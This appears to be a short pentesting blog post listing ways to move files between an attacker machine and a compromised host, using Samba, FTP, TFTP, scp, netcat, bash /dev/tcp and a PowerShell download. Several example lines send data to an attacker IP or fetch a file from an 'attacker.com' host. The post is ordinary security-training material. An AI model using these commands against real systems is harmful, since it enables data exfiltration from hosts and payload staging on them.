If you do pentesting or any kind of security analysis you probably found yourself in the situation of needing to transfer data between your machine and the vulnerable machine, it is useful to know a few ways to do this in case one of them doesn’t work for your specific situation.
- Generic
Samba can be configured on the attacker machine so that you can connect from the vulnerable
machine using the “net use” (windows) or “mount -t cifs” (linux) commands and then transfer files.
example:
net use z: \\192.168.1.20 /u:attacker
smb.conf http://www.samba.org/samba/docs/using_samba/ch06.html
FTP is another way we can do this, but remember that both the data and the login credentials travel in plain text, also since the client is interactive if you have a non-interactive shell you will need to script it.
example for the windows ftp client:
open ftp.domain.com
username
password
get file.txt
bye
run with ftp -s:script-name.txt
example for the linux ftp client:
http://www.stratigery.com/scripting.ftp.html
TFTP is a simpler version of ftp, it uses UDP and it doesn’t support authentication, a popular tftp server is Tftpd32, it’s still in use for things like backing up a router configuration or uploading the latest firmware.
SSH will allow us to transfer data in a safe manner, we can use the scp command to transfer files via ssh.
Netcat is also an option, it is usually available in most linux distributions, and there is also a
windows version, if you need encryption then you should try cryptcat or socat.
example:
echo data | nc 192.168.1.20 80
- Linux specific
On linux you can use /dev/tcp/<host>/<port> to open connections to other host (you need to use a recent version of Bash for this to work), then we can use netcat to capture this data on the other end.
example:
echo secret_data.txt > /dev/tcp/192.168.1.20/500
- Windows specific
In windows we can use powershell to open tcp connections, or download files from http.
example:
1 2 3 4 5 6 | $http = New-Object System.Net.WebClient $url = "http://www.attacker.com" $file = "test.html" $http.DownloadFile($url, $file) |
As you can see there are many ways for transferring files, so pick the one that suits you best and enjoy!



